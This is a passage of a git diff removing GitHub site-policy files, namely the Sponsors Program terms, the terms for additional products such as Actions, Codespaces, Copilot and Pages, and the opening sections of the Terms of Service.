receive payouts on the 22nd of the month for the balance accrued since the last payout, regardless of the amount of the balance. Payout initiation dates vary by country, and can change from month to month due to public holidays, weekends, and other factors. When the payout is a cross-border payout, a minimum payout amount may apply. For more information, see [Receiving payouts](https://stripe.com/docs/payouts#cbp-minimum-payout-amounts) in the Stripe documentation. - -* If you are paid through ACH transfer or wire transfer, you will receive payouts on the third Thursday of the month. GitHub will issue a payout to you for any month that your balance reaches $100 USD. Contributions from the GitHub Sponsors Matching Fund do not count towards this threshold. If your balance is below $100 at the end of the month, the balance will accrue until the next time your balance is above the threshold at the end of the month. If you leave GitHub Sponsors, GitHub will issue a payout for your remaining balance even if the balance is below $100. - -* After termination, we will remit to you all Sponsored Developer Payments received and unpaid within approximately 90 days after the end of the calendar month in which we recognize that these Additional Terms have been terminated. - -### 3.4. Payment Method. - -We will remit Sponsored Developer Payments by ACH/SEPA or wire to an account that you specify subject to the thresholds, methods and timeframes provided in our then-current payment policies, which we may update from time to time. The payment method and threshold may vary depending on the country and account information you provide. We may, at our sole discretion, combine the Sponsored Developer Payment with any other payments that may be owed to you. - -### 3.5. Currency. - -All references to currency are to USD. If you are outside of the United States, we may convert USD to the local currency of your address for payment, using our then-current conversion rates. - -### 3.6. Refund Requirements. - -You will be responsible for specifying the terms and conditions regarding any refunds, if any, to your Sponsors. In no event shall GitHub be responsible for providing any support for refunds, nor shall GitHub be liable for payment of any refund. - -### 3.7. Requested Payment Information. - -To pay you, you must provide us with complete and accurate financial, tax, and banking information that we request (for example, by means of account creation or setup, or otherwise). We will notify you, by any means of communication, of changes to what information is required. If you fail to accurately provide (or accurately maintain) such information, (a) we can deduct from your Sponsored Developer Payment any related bank fees, and (b) we can terminate these Additional Terms and you may forfeit any amounts owed to you by GitHub. - -### 3.8. Stripe Connect - -If you are paid through Stripe Connect, the following additional terms apply to your usage of GitHub Sponsors: - -**Full service agreement** - -_Applies to Sponsored Developer Accounts registered in Australia, Austria, Belgium, Canada, Denmark, Estonia, Finland, France, Germany, Greece, Hong Kong, Ireland, Italy, Japan, Latvia, Lithuania, Luxembourg, Netherlands, New Zealand, Norway, Poland, Portugal, Slovakia, Slovenia, Spain, Sweden, Switzerland, United Kingdom, United States._ - -Payment processing services for Sponsored Developer Accounts on GitHub Sponsors are provided by Stripe and are subject to the [Stripe Connected Account Agreement](https://stripe.com/connect-account/legal/full), which includes the [Stripe Terms of Service](https://stripe.com/legal) (collectively, the “Stripe Services Agreement”). By agreeing to these terms or continuing to operate as a Sponsored Developer Account on GitHub Sponsors, you agree to be bound by the Stripe Services Agreement, as the same may be modified by Stripe from time to time. As a condition of GitHub enabling payment processing services through Stripe, you agree to provide GitHub accurate and complete information about you and your business, and you authorize GitHub to share it and transaction information related to your use of the payment processing services provided by Stripe. - -**Recipient service agreement** - -_Applies to Sponsored Developer Accounts in all other countries._ - -We use Stripe to make payouts to Sponsored Developer Accounts. The [Stripe Recipient Agreement](https://stripe.com/connect-account/legal/recipient) applies to your receipt of such payouts. To receive payouts from GitHub Sponsors, you must provide us accurate and complete information about you and your business, and you authorize us to share it and transaction information related to your payout with Stripe. - -## 4. Representations and Warranties; Limitation of Liability; Indemnification. - -### 4.1. By Sponsored Developer. - -Sponsored Developer represents and warrants that: - -* You have the authority to enter into and fully perform these Additional Terms; - -* Your execution and performance of these Additional Terms will not violate any other agreement or obligation between you and any third party; - -* Sponsored Developer Content does not infringe, violate, or misappropriate any third-party right, including any copyright, trademark, patent, trade secret, moral right, privacy right, right of publicity, or any other intellectual property; - -* You will comply with all laws and regulations, and your Sponsored Developer Content is not illegal and does not violate any laws or regulations. - -### 4.2. Disclaimer of Warranties; Limitation of Liability; Indemnification. - -YOU EXPLICITLY AGREE THAT SECTIONS O (DISCLAIMER OF WARRANTIES), P (LIMITATION OF LIABILITY), AND Q (RELEASE AND INDEMNIFICATION) OF THE AGREEMENT APPLY TO THESE ADDITIONAL TERMS. - -## 5. Term and Termination. - -### 5.1. Term. - -These Additional Terms commence on the Effective Date and remain in effect as long as you participate in the Program. - -### 5.2. Suspension. - -GitHub may suspend your Sponsored Developer Account immediately if you violate these Additional Terms or the Agreement in any way, or if you are placed on a restricted trade list or located in or ordinarily resident in a country or territory subject to comprehensive sanctions administered by the U.S. Office of Foreign Assets Control (OFAC). Failure to correct or cure the cause for suspension may result in the termination of your Sponsored Developer Account. - -### 5.3. Termination. - -Either party may terminate these Additional Terms and your Sponsored Developer Account at any time with or without cause, with or without notice. If you breach these Additional Terms or the Agreement, we may, but are not obligated to, offer you a period of time to cure the breach. - -### 5.4. Effect of Termination. - -If either Party terminates under Section 5.3, GitHub’s sole obligation will be to pay Sponsored Developer the amount of the Sponsored Developer Payment accrued up until the date of termination, unless such payments are prohibited by law. - -# Terms for Sponsors - -## 1. Sponsors Program. - -### 1.1 Description. - -GitHub will identify Projects based on the Sponsor’s dependencies for which investment is available at [Explore GitHub Sponsors](https://github.com/sponsors/explore)· Sponsor shall invest in Projects in its sole discretion, including which Projects it sponsors and the amount of its sponsorship. - -### 1.2 Invoice creation. - -GitHub will provide the Sponsor the ability to create an invoice to add funds to their account balance for the purpose of investing in the Projects it so chooses. - -### 1.3 Dashboard. - -GitHub will provide Sponsor with a dashboard reflecting their total sponsorship amount and balance. - -### 1.4 Feedback. - -Sponsors may provide Feedback to GitHub regarding the Program. Feedback is voluntary and is not Sponsor Confidential Information, even if designated as such. GitHub may fully exercise and exploit such Feedback for any purpose. - -## 2. Payment. - -### 2.1 Payment. - -Sponsor may create an invoice to add funds to their account balance for the purpose of investing in Projects. GitHub will issue an invoice to Sponsor upon completion of the invoice creation form. Sponsor will pay the Fees set forth in each invoice in full, without deduction or set-off of any kind, within thirty (30) days of the GitHub invoice date. Amounts reflected on each Invoice and which are payable under this Agreement are non-refundable. - -### 2.2 Fees. - -An additional service fee (“Service Fee”) of 3% per transaction will be deducted from Sponsor’s account to cover GitHub’s administrative costs associated with offering the Program. If payment is made via credit card, an additional 3% fee will be applied. - -### 2.3 Taxes. - -Sponsor is solely responsible for all taxes, fees, duties and governmental assessments (except for taxes based on GitHub's net income) that are imposed or become due in connection with this Agreement. - -## 3. Term and Termination. - -### 3.1 Term. - -This Agreement is effective for a period of one year commencing on the Effective Date, unless terminated earlier, as set forth below. Unless terminated as set forth herein, this Agreement will automatically renew for additional annual terms. - -### 3.2 Termination. - -If there is no active invoice pending, either party may terminate this Agreement on thirty (30) days’ prior written notice. - -## 4. Disclaimer; Limitation of Liability. - -### 4.1 Disclaimer. - -GitHub provides the Sponsor Program “AS IS” and “AS AVAILABLE,” and GitHub expressly disclaims all warranties, whether express, implied or statutory, regarding the Service, including, without limitation, any implied warranty of merchantability, fitness for a particular purpose, title, security, accuracy or non-infringement. - -### 4.2 Limitation of Liability. - -#### 4.2.1 Exclusion of Indirect Damages. - -To the maximum extent permitted by applicable law, in no event will either party be liable to the other party for any indirect, special, incidental, punitive, or consequential damages (including for loss of profits, revenue, or data) or for the cost of obtaining substitute products arising out of or in connection with this Agreement, however caused, whether such liability arises from any claim based upon contract, warranty, tort (including negligence), strict liability or otherwise, and whether or not a party has been advised of the possibility of such damages. - -#### 4.2.2 Limitation of Total Liability. - -To the maximum extent permitted by applicable law, in no event will either party's total cumulative liability under this Agreement from all causes of action and all theories of liability exceed the Fees Sponsor has actually paid to GitHub during the twelve month period immediately preceding the event triggering potential liability. - -# General Program Terms (apply to both Sponsors and Sponsored Developers) - -## A. Confidentiality. - -The terms and conditions of this Agreement are the Confidential Information of both parties. Neither party will use Confidential Information provided by the other party hereunder, except as permitted by this Agreement. Each party agrees to maintain in confidence and protect the other party's Confidential Information using at least the same degree of care as it uses for its own information of a similar nature, but in any event at least a reasonable degree of care. Each party will take all reasonable precautions to prevent any unauthorized disclosure of the other party's Confidential Information and will only disclose such Confidential Information to its employees, officers, directors, agents, independent contractors, consultants, and legal and financial advisors (“**representatives**”) who (i) have a need to know such information, (ii) are parties to appropriate agreements sufficient to comply with this Section, and (iii) are informed of the restrictions on use and disclosure set forth in this Section. Each party is responsible for all acts and omissions of its representatives. The foregoing obligations will not restrict the receiving party from disclosing the other party’s Confidential Information pursuant to an order or requirement of a court, administrative agency, or other governmental body, provided that the receiving party gives reasonable notice to the disclosing party to enable such party to contest such order or requirement, unless such notice is prohibited by law. - -## B. Publicity. - -GitHub may issue press releases, blog posts, social media posts, and/or other public communication related to Sponsor’s (with Sponsor’s permission) or Sponsored Developer’s participation in the Program. Other than as necessary for such use, GitHub shall acquire no rights to use or refer to, or interest in, such Sponsor’s logo, name or names under this Agreement. - -## C. Notices. - -Notices or communications under this Agreement will be made in writing (email to suffice) to the individual identified on the applicable account. Notices will be deemed received one (1) business day after delivery, if sent by email, and three (3) business days after delivery, if sent via registered mail. - -## D. Governing Law. - -This Agreement will be governed by and construed in accordance with the laws of the State of California, without giving effect to the principles of conflict of law, and any legal action or proceeding arising under this Agreement will be brought exclusively in the federal or state courts located in the Northern District of California. - -## E. Assignment. - -Neither party may assign or otherwise transfer this Agreement, in whole or in part, without the other party's prior written consent (not to be unreasonably withheld or delayed), and any attempt to do so will be null and void. - -## F. Severability. - -If any provision of this Agreement is held by a court of competent jurisdiction to be unenforceable, the parties will modify this Agreement to give effect to such provision and the remaining provisions will continue in full force and effect. - -## G. Entire Agreement. - -This Agreement constitutes the entire agreement between the parties regarding its subject matter and supersedes all prior and contemporaneous agreements and understandings, whether written or oral, between the parties, regarding such subject matter. This Agreement may only be amended by a writing signed by both parties that references this Agreement. - -## H. Changes to the Terms. - -We reserve the right, at our sole discretion, to amend these Additional Terms at any time. We will notify you of material changes to these Additional Terms, such as price changes, at least 30 days prior to the change taking effect by posting a notice on our Website. Your continued participation in the Program constitutes agreement to our revisions of these Additional Terms. You can view all changes to these Terms in our Site Policy repository. diff --git a/content/site-policy/github-terms/github-terms-for-additional-products-and-features.md b/content/site-policy/github-terms/github-terms-for-additional-products-and-features.md deleted file mode 100644 index 6ad07a563607..000000000000 --- a/content/site-policy/github-terms/github-terms-for-additional-products-and-features.md +++ /dev/null @@ -1,171 +0,0 @@ ---- -title: GitHub Terms for Additional Products and Features -redirect_from: - - /github/site-policy/github-additional-product-terms - - /github/site-policy/github-terms-for-additional-products-and-features - - /github/site-policy-deprecated/github-connect-addendum-to-the-github-enterprise-license-agreement - - /articles/github-com-connection-addendum-to-the-github-enterprise-license-agreement - - /articles/github-connect-addendum-to-the-github-enterprise-license-agreement - - /github/site-policy/github-connect-addendum-to-the-github-enterprise-license-agreement -versions: - fpt: '*' -topics: - - Policy - - Legal ---- - -Version Effective Date: December 18, 2024 - -When you use GitHub, you may be given access to lots of additional products and features ("Additional Products and Features"). Because many of the Additional Products and Features offer different functionality, your Agreement with us (the "Agreement") includes the specific terms for that product or feature combined with your main agreement — the GitHub Terms of Service or GitHub Customer Agreement, or the GitHub Corporate Terms of Service or other legacy GitHub contract, or a Microsoft volume licensing agreement. Below, we've listed those products and features, along with the corresponding additional terms that apply to your use of them. - -By using the Additional Products and Features, you also agree to the applicable GitHub Terms for Additional Products and Features listed below. A violation of these GitHub Terms for Additional Products and Features is a violation of the Agreement. Capitalized terms not defined here have the meaning given in the Agreement. - -**For Enterprise users** -* **GitHub Enterprise Cloud** users may have access to the following Additional Products and Features: Actions, Advanced Security, Advisory Database, Codespaces, Dependabot Preview, GitHub Enterprise Importer, Packages, and Pages. - -* **GitHub Enterprise Server** users may have access to the following Additional Products and Features: Actions, Advanced Security, Advisory Database, Connect, Dependabot Preview, GitHub Enterprise Importer, Packages, Pages, and SQL Server Images. - -## Actions - -GitHub Actions enables you to create custom software development lifecycle workflows directly in your GitHub repository. Actions is billed on a usage basis. The [Actions documentation](/actions) includes details, including compute and storage quantities (depending on your Account plan), and how to monitor your Actions minutes usage and set usage limits. - -Actions and any elements of the Actions product or service may not be used in violation of the Agreement, the [GitHub Acceptable Use Policies](/site-policy/acceptable-use-policies/github-acceptable-use-policies), or the GitHub Actions service limitations set forth in the [Actions documentation](/actions/learn-github-actions/usage-limits-billing-and-administration). Additionally, regardless of whether an Action is using self-hosted runners, Actions should not be used for: -* Cryptomining; -* Disrupting, gaining, or attempting to gain unauthorized access to, any service, device, data, account, or network (other than those authorized by the [GitHub Bug Bounty program](https://bounty.github.com)); -* The provision of a stand-alone or integrated application or service offering the Actions product or service, or any elements of the Actions product or service, for commercial purposes; -* Any activity that places a burden on our servers, where that burden is disproportionate to the benefits provided to users (for example, don't use Actions as a content delivery network or as part of a serverless application, but a low benefit Action could be ok if it’s also low burden); or -* If using GitHub-hosted runners, any other activity unrelated to the production, testing, deployment, or publication of the software project associated with the repository where GitHub Actions are used. - -In order to prevent violations of these limitations and abuse of GitHub Actions, GitHub may monitor your use of GitHub Actions. Misuse of GitHub Actions may result in termination of jobs, restrictions in your ability to use GitHub Actions, disabling of repositories created to run Actions in a way that violates these Terms, or in some cases, suspension or termination of your GitHub account. - -_Use for Development and Testing_ - -You may only access and use GitHub Actions to develop and test your application(s). Only one licensed user may access a virtual machine provided by Actions at any time. - -_Authorized Developer_ - -You appoint GitHub as your authorized developer with respect to Apple software included in Actions. GitHub is responsible for complying with the terms for any such software included in Actions and will keep confidential any confidential information of Apple accessed as part of Actions. - -_Third Party Repository Service Access_ - -If you grant GitHub access to your third-party repository service account(s), you authorize GitHub to scan the account(s), including the contents of your Public and Private Repositories, for purposes of providing GitHub Actions. - -_Self-Hosted Runners on GitHub Actions_ - -If you use self-hosted runners, you have the ability to turn off automatic updates but GitHub reserves the right to override your choice for critical security updates. - -## Advanced Security - -GitHub makes extra security features available to customers under an Advanced Security license. These features include code scanning, secret scanning, and dependency review. The [Advanced Security documentation](/get-started/learning-about-github/about-github-advanced-security) provides more details. - -Advanced Security is licensed on a "Unique Committer" basis. A "Unique Committer" is a licensed user of GitHub Enterprise, GitHub Enterprise Cloud, or GitHub Enterprise Server, who has made a commit in the last 90 days to any repository with any GitHub Advanced Security functionality activated. You must acquire a GitHub Advanced Security User license for each of your Unique Committers. You may only use GitHub Advanced Security on codebases that are developed by or for you. For GitHub Enterprise Cloud users, some Advanced Security features also require the use of GitHub Actions. - -For secret scanning with GitHub Advanced Security, when you opt-in to automatic validity checks for partner patterns, exposed third-party tokens may be shared with the relevant partner, in order to provide you with more information about the validity of the token. Not all partners are based in the United States. The [Secret scanning patterns documentation](/enterprise-cloud@latest/code-security/secret-scanning/introduction/supported-secret-scanning-patterns) provides more details on which partners support the validity check. - -## Advisory Database - -The GitHub Advisory Database allows you to browse or search for vulnerabilities that affect open source projects on GitHub. - -_License Grant to Us_ - -We need the legal right to submit your contributions to the GitHub Advisory Database into public domain datasets such as the [National Vulnerability Database](https://nvd.nist.gov/) and to license the GitHub Advisory Database under open terms for use by security researchers, the open source community, industry, and the public. You agree to release your contributions to the GitHub Advisory Database under the [Creative Commons Zero license](https://creativecommons.org/publicdomain/zero/1.0/). - -_License to the GitHub Advisory Database_ - -The GitHub Advisory Database is licensed under the [Creative Commons Attribution 4.0 license](https://creativecommons.org/licenses/by/4.0/). The attribution term may be fulfilled by linking to the GitHub Advisory Database at or to individual GitHub Advisory Database records used, prefixed by . - -## Codespaces - -_Note: The github.dev service, available by pressing . on a repo or navigating directly to github.dev, is governed by GitHub's Beta Terms of service._ - -GitHub Codespaces enables you to develop code directly from your browser using the code within your GitHub repository. Codespaces and any elements of the Codespaces service may not be used in violation of the Agreement or the Acceptable Use Policies. Additionally, Codespaces should not be used for: -* Cryptomining; -* Using our servers to disrupt, or to gain or to attempt to gain unauthorized access to any service, device, data, account or network (other than those authorized by the GitHub Bug Bounty program); -* The provision of a stand-alone or integrated application or service offering Codespaces or any elements of Codespaces for commercial purposes; -* Any activity that places a burden on our servers, where that burden is disproportionate to the benefits provided to users (for example, don't use Codespaces as a content delivery network, as part of a serverless application, or to host any kind of production-facing application); or -* Any other activity unrelated to the development or testing of the software project associated with the repository where GitHub Codespaces is initiated. - -In order to prevent violations of these limitations and abuse of GitHub Codespaces, GitHub may monitor your use of GitHub Codespaces. Misuse of GitHub Codespaces may result in termination of your access to Codespaces, restrictions in your ability to use GitHub Codespaces, or the disabling of repositories created to run Codespaces in a way that violates these Terms. - -Codespaces allows you to load extensions from the Microsoft Visual Studio Marketplace (“Marketplace Extensions”) for use in your development environment, for example, to process the programming languages that your code is written in. Marketplace Extensions are licensed under their own separate terms of use as noted in the Visual Studio Marketplace, and the terms of use located at https://aka.ms/vsmarketplace-ToU. GitHub makes no warranties of any kind in relation to Marketplace Extensions and is not liable for actions of third-party authors of Marketplace Extensions that are granted access to Your Content. Codespaces also allows you to load software into your environment through devcontainer features. Such software is provided under the separate terms of use accompanying it. Your use of any third-party applications is at your sole risk. - -The generally available version of Codespaces is not currently available for U.S. government customers. U.S. government customers may continue to use the Codespaces Beta Preview under separate terms. See [Beta Preview terms](/site-policy/github-terms/github-terms-of-service#j-beta-previews). - -## Competitive Benchmarking - -If you offer a product or service competitive to any GitHub product or service, by using that GitHub product or service, you agree to and hereby waive any restrictions as to GitHub on competitive use and benchmark testing in the terms governing your competitive product or service. If you do not intend to waive such restrictions in your terms of use, you are not allowed to use that GitHub product or service. - -## Connect - -With GitHub Connect, you can share certain features and data between your GitHub Enterprise Server deployment and your GitHub Enterprise Cloud organization or enterprise account on GitHub.com. In order to enable GitHub Connect, you must have at least one (1) account on GitHub Enterprise Cloud or GitHub.com, and one (1) licensed deployment of GitHub Enterprise Server. Your use of GitHub Enterprise Cloud or GitHub.com through Connect is governed by the terms under which you license GitHub Enterprise Cloud or GitHub.com. Use of Personal Data is governed by the [GitHub Privacy Statement](/site-policy/privacy-policies/github-privacy-statement). - -## GitHub Copilot - -For GitHub Copilot Business and Copilot Enterprise license holders, your use of GitHub Copilot is governed by the [GitHub Copilot Product Specific Terms](https://github.com/customer-terms/github-copilot-product-specific-terms). - -For other GitHub Copilot license holders, your use of GitHub Copilot is governed by the following terms: -To use GitHub Copilot in your code editor, you need to install the GitHub Copilot extension to that editor. To use GitHub Copilot in the CLI (Command Line Interface), you need to install the GitHub Copilot CLI extension. To use GitHub Copilot Chat on GitHub Mobile, you need to install the GitHub Mobile application. To use GitHub Copilot on the GitHub.com, you must access the website. - -If you customize GitHub Copilot, to include using a GitHub Copilot Extension (Extension), your use may be subject to the terms of use and privacy policy applicable to the customization. - -The code you write using GitHub Copilot is not “Content” under the Agreement until you upload it to GitHub.com{% ifversion ghec %} or GHE.com{% endif %}. The code, functions, and other output returned to you by GitHub Copilot are called “**Suggestions**.” GitHub does not own Suggestions. You retain ownership of Your Code and you retain responsibility for Suggestions you include in Your Code. It is entirely your decision whether to use Suggestions generated by GitHub Copilot. If you use Suggestions, GitHub strongly recommends that you have reasonable policies and practices in place designed to prevent the use of a Suggestion in a way that may violate the rights of others. - -_Acceptable Use_ - -Your use of GitHub Copilot is subject to the GitHub [Acceptable Use Policies](/site-policy/acceptable-use-policies/github-acceptable-use-policies). For example, you may not prompt GitHub Copilot with content that is unlawful or otherwise prohibited by the GitHub Acceptable Use Policies on GitHub.com. If you choose to "Allow" Copilot to provide [Suggestions matching public code](/enterprise-cloud@latest/copilot/using-github-copilot/finding-public-code-that-matches-github-copilot-suggestions?tool=vscode), you must comply with cited licenses. - -_Data_ - -GitHub Copilot (i) may collect and process data based on your settings and the specific GitHub Copilot Service you use - this may include Prompts, Suggestions, and code snippets, and (ii) will collect additional usage information through the GitHub Copilot Service you use tied to your Account - this may include Service Usage Information, Website Usage Data, and Feedback Data. Upon your instructions, we may share this data with third-party applications such as those on the [GitHub Marketplace](https://github.com/marketplace) or third-party AI models of your choosing. This may include personal data, as referenced in the [GitHub Privacy Statement](/site-policy/privacy-policies/github-privacy-statement). You can learn more about the collection and use of GitHub Copilot data in the [GitHub Copilot Trust Center](https://resources.github.com/copilot-trust-center/). - -For GitHub Copilot Free users, the data collected by GitHub Copilot may be used for AI Model training where permitted and if you allow in your settings. - -## GitHub Enterprise Importer - -Importer is a framework for exporting data from other sources to be imported to the GitHub platform. Importer is provided “AS-IS”. - -## npm - -npm is a software package hosting service that allows you to host your software packages privately or publicly and use packages as dependencies in your projects. npm is the registry of record for the JavaScript ecosystem. The npm public registry is free to use but customers are billed if they want to publish private packages or manage private packages using teams. The [npm documentation](https://docs.npmjs.com/) includes details about the limitation of account types and how to manage [private packages](https://docs.npmjs.com/about-private-packages) and [organizations](https://docs.npmjs.com/organizations). Acceptable use of the npm registry is outlined in the [open-source terms](https://www.npmjs.com/policies/open-source-terms). There are supplementary terms for both the npm [solo](https://www.npmjs.com/policies/solo-plan) and [org](https://www.npmjs.com/policies/orgs-plan) plans. The npm [Terms of Use](https://www.npmjs.com/policies/terms) apply to your use of npm. - -## Packages - -GitHub Packages is a software package hosting service that allows you to host your software packages privately or publicly and use packages as dependencies in your projects. GitHub Packages is billed on a usage basis. The [Packages documentation](/packages/learn-github-packages/introduction-to-github-packages) includes details, including bandwidth and storage quantities (depending on your Account plan), and how to monitor your Packages usage and set usage limits. Packages bandwidth usage is limited by the [GitHub Acceptable Use Policies](/site-policy/acceptable-use-policies/github-acceptable-use-policies). - -## Pages - -Each Account comes with access to the [GitHub Pages static hosting service](/pages/getting-started-with-github-pages/about-github-pages). GitHub Pages is intended to host static web pages, but primarily as a showcase for personal and organizational projects. - -GitHub Pages is not intended for or allowed to be used as a free web hosting service to run your online business, e-commerce site, or any other website that is primarily directed at either facilitating commercial transactions or providing commercial software as a service (SaaS). Some monetization efforts are permitted on Pages, such as donation buttons and crowdfunding links. - -_Bandwidth and Usage Limits_ - -GitHub Pages are subject to some specific bandwidth and usage limits, and may not be appropriate for some high-bandwidth uses. Please see our [GitHub Pages limits](/pages/getting-started-with-github-pages/about-github-pages) for more information. - -_Prohibited Uses_ - -GitHub Pages may not be used in violation of the Agreement, the GitHub [Acceptable Use Policies](/site-policy/acceptable-use-policies/github-acceptable-use-policies), or the GitHub Pages service limitations set forth in the [Pages documentation](/pages/getting-started-with-github-pages/about-github-pages#guidelines-for-using-github-pages). - -If you have questions about whether your use or intended use falls into these categories, please contact us through the [GitHub Support portal](https://support.github.com/). GitHub reserves the right at all times to reclaim any GitHub subdomain without liability. - -_Educational Exercises_ - -Using GitHub Pages to create a copy of an existing website as a learning exercise is not prohibited. However, you must write the code yourself, the site must not collect any user data, and you must include a prominent disclaimer on the site indicating that the project is not associated with the original and was only created for educational purposes. - -## Previews - -Previews means software, online services and additional products and features provided for preview, evaluation, demonstration or trial purposes, or pre-release versions of those, such as alpha, beta, or early access. If your Agreement does not include terms and conditions that address Previews, then the following terms apply. GitHub grants a limited right to use a non-production instance of the Preview. Previews are provided “AS-IS”, “WITH ALL FAULTS” and “AS AVAILABLE”. GitHub may change or discontinue Previews at any time without notice. Any information we give you about a private Preview will be considered GitHub’s confidential information. If you choose to provide comments or suggestions about a Preview, we may use that feedback for any purpose without obligation of any kind. GitHub’s maximum liability is limited to direct damages up to US $500. GitHub has no obligation to defend, indemnify, or hold you harmless for claims brought by third parties arising from your use of Previews. - -## Sponsors Program - -GitHub Sponsors allows the developer community to financially support the people and organizations who design, build, and maintain the open source projects they depend on, directly on GitHub. In order to become a Sponsored Developer, you must agree to the [GitHub Sponsors Program Additional Terms](/site-policy/github-terms/github-sponsors-additional-terms). - -## SQL Server Images - -You may download Microsoft SQL Server Standard Edition container image for Linux files ("SQL Server Images"). You must uninstall the SQL Server Images when your right to use the Software ends. Microsoft Corporation may disable SQL Server Images at any time. - -## GitHub Models - -GitHub Models is a feature that allows you to learn, try, and test artificial intelligence models on GitHub.com. You can access GitHub Models via the [GitHub Marketplace](https://github.com/marketplace). Learn more about GitHub Models by visiting [Prototyping with AI models](/github-models/prototyping-with-ai-models). - -Your use of this feature is subject to the terms of the company hosting the model and the model license. diff --git a/content/site-policy/github-terms/github-terms-of-service.md b/content/site-policy/github-terms/github-terms-of-service.md deleted file mode 100644 index d63511258640..000000000000 --- a/content/site-policy/github-terms/github-terms-of-service.md +++ /dev/null @@ -1,374 +0,0 @@ ---- -title: GitHub Terms of Service -redirect_from: - - /tos - - /terms - - /terms-of-service - - /github-terms-of-service-draft - - /articles/github-terms-of-service - - /github/site-policy/github-terms-of-service -versions: - fpt: '*' -topics: - - Policy - - Legal ---- - - -Thank you for using GitHub! We're happy you're here. Please read this Terms of Service agreement carefully before accessing or using GitHub. Because it is such an important contract between us and our users, we have tried to make it as clear as possible. For your convenience, we have presented these terms in a short non-binding summary followed by the full legal terms. - -## Summary - -| Section | What can you find there? | -| --- | --- | -| [A. Definitions](#a-definitions) | Some basic terms, defined in a way that will help you understand this agreement. Refer back up to this section for clarification. | -| [B. Account Terms](#b-account-terms) | These are the basic requirements of having an Account on GitHub. | -| [C. Acceptable Use](#c-acceptable-use)| These are the basic rules you must follow when using your GitHub Account. | -| [D. User-Generated Content](#d-user-generated-content) | You own the content you post on GitHub. However, you have some responsibilities regarding it, and we ask you to grant us some rights so we can provide services to you. | -| [E. Private Repositories](#e-private-repositories) | This section talks about how GitHub will treat content you post in private repositories. | -| [F. Copyright & DMCA Policy](#f-copyright-infringement-and-dmca-policy) | This section talks about how GitHub will respond if you believe someone is infringing your copyrights on GitHub. | -| [G. Intellectual Property Notice](#g-intellectual-property-notice) | This describes GitHub's rights in the website and service. | -| [H. API Terms](#h-api-terms) | These are the rules for using GitHub's APIs, whether you are using the API for development or data collection. | -| [I. Additional Product Terms](#i-github-additional-product-terms) | We have a few specific rules for GitHub's features and products. | -| [J. Beta Previews](#j-beta-previews) | These are some of the additional terms that apply to GitHub's features that are still in development. | -| [K. Payment](#k-payment) | You are responsible for payment. We are responsible for billing you accurately. | -| [L. Cancellation and Termination](#l-cancellation-and-termination) | You may cancel this agreement and close your Account at any time. | -| [M. Communications with GitHub](#m-communications-with-github) | We only use email and other electronic means to stay in touch with our users. We do not provide phone support. | -| [N. Disclaimer of Warranties](#n-disclaimer-of-warranties) | We provide our service as is, and we make no promises or guarantees about this service. **Please read this section carefully; you should understand what to expect.** | -| [O. Limitation of Liability](#o-limitation-of-liability) | We will not be liable for damages or losses arising from your use or inability to use the service or otherwise arising under this agreement. **Please read this section carefully; it limits our obligations to you.** | -| [P. Release and Indemnification](#p-release-and-indemnification) | You are fully responsible for your use of the service. | -| [Q. Changes to these Terms of Service](#q-changes-to-these-terms) | We may modify this agreement, but we will give you 30 days' notice of material changes. | -| [R. Miscellaneous](#r-miscellaneous) | Please see this section for legal details including our choice of law. | - -## The GitHub Terms of Service - -Effective date: November 16, 2020 - -## A. Definitions - -**Short version:** _We use these basic terms throughout the agreement, and they have specific meanings. You should know what we mean when we use each of the terms. There's not going to be a test on it, but it's still useful information._ - -1. An "Account" represents your legal relationship with GitHub. A “Personal Account” represents an individual User’s authorization to log in to and use the Service and serves as a User’s identity on GitHub. “Organizations” are shared workspaces that may be associated with a single entity or with one or more Users where multiple Users can collaborate across many projects at once. A Personal Account can be a member of any number of Organizations. -1. The “Agreement” refers, collectively, to all the terms, conditions, notices contained or referenced in this document (the “Terms of Service” or the "Terms") and all other operating rules, policies (including the GitHub Privacy Statement, available at [github.com/site/privacy](https://github.com/site/privacy)) and procedures that we may publish from time to time on the Website. Most of our site policies are available at [docs.github.com/categories/site-policy](/site-policy). -1. "Beta Previews" mean software, services, or features identified as alpha, beta, preview, early access, or evaluation, or words or phrases with similar meanings. -1. “Content” refers to content featured or displayed through the Website, including without limitation code, text, data, articles, images, photographs, graphics, software, applications, packages, designs, features, and other materials that are available on the Website or otherwise available through the Service. "Content" also includes Services. “User-Generated Content” is Content, written or otherwise, created or uploaded by our Users. "Your Content" is Content that you create or own. -1. “GitHub,” “We,” and “Us” refer to GitHub, Inc., as well as our affiliates, directors, subsidiaries, contractors, licensors, officers, agents, and employees. -1. The “Service” refers to the applications, software, products, and services provided by GitHub, including any Beta Previews. -1. “The User,” “You,” and “Your” refer to the individual person, company, or organization that has visited or is using the Website or Service; that accesses or uses any part of the Account; or that directs the use of the Account in the performance of its functions. A User must be at least 13 years of age. Special terms may apply for business or government Accounts (See [Section B(5): Additional Terms](#5-additional-terms)). -1. The “Website” refers to GitHub’s website located at [github.com](https://github.com/), and all content, services, and products provided by GitHub at or through the Website. It also refers to GitHub-owned subdomains of github.com, such as [education.github.com](https://education.github.com/) and [pages.github.com](https://pages.github.com/). These Terms also govern GitHub’s conference websites, such as [githubuniverse.com](https://githubuniverse.com/), and product websites, such as [electronjs.org](https://www.electronjs.org/). Occasionally, websites owned by GitHub may provide different or additional terms of service. If those additional terms conflict with this Agreement, the more specific terms apply to the relevant page or service. - -## B. Account Terms - -**Short version:** _Personal Accounts and Organizations have different administrative controls; a human must create your Account; you must be 13 or over; you must provide a valid email address; and you may not have more than one free Account. You alone are responsible for your Account and anything that happens while you are signed in to or using your Account. You are responsible for keeping your Account secure._ - -### 1. Account Controls - -* Users. Subject to these Terms, you retain ultimate administrative control over your Personal Account and the Content within it. - -* Organizations. The "owner" of an Organization that was created under these Terms has ultimate administrative control over that Organization and the Content within it. Within the Service, an owner can manage User access to the Organization’s data and projects. An Organization may have multiple owners, but there must be at least one Personal Account designated as an owner of an Organization. If you are the owner of an Organization under these Terms, we consider you responsible for the actions that are performed on or through that Organization. - -### 2. Required Information - -You must provide a valid email address in order to complete the signup process. Any other information requested, such as your real name, is optional, unless you are accepting these terms on behalf of a legal entity (in which case we need more information about the legal entity) or if you opt for a [paid Account](#k-payment), in which case additional information will be necessary for billing purposes. - -### 3. Account Requirements - -We have a few simple rules for Personal Accounts on GitHub's Service. -* You must be a human to create an Account. Accounts registered by "bots" or other automated methods are not permitted. We do permit machine accounts: -* A machine account is an Account set up by an individual human who accepts the Terms on behalf of the Account, provides a valid email address, and is responsible for its actions. A machine account is used exclusively for performing automated tasks. Multiple users may 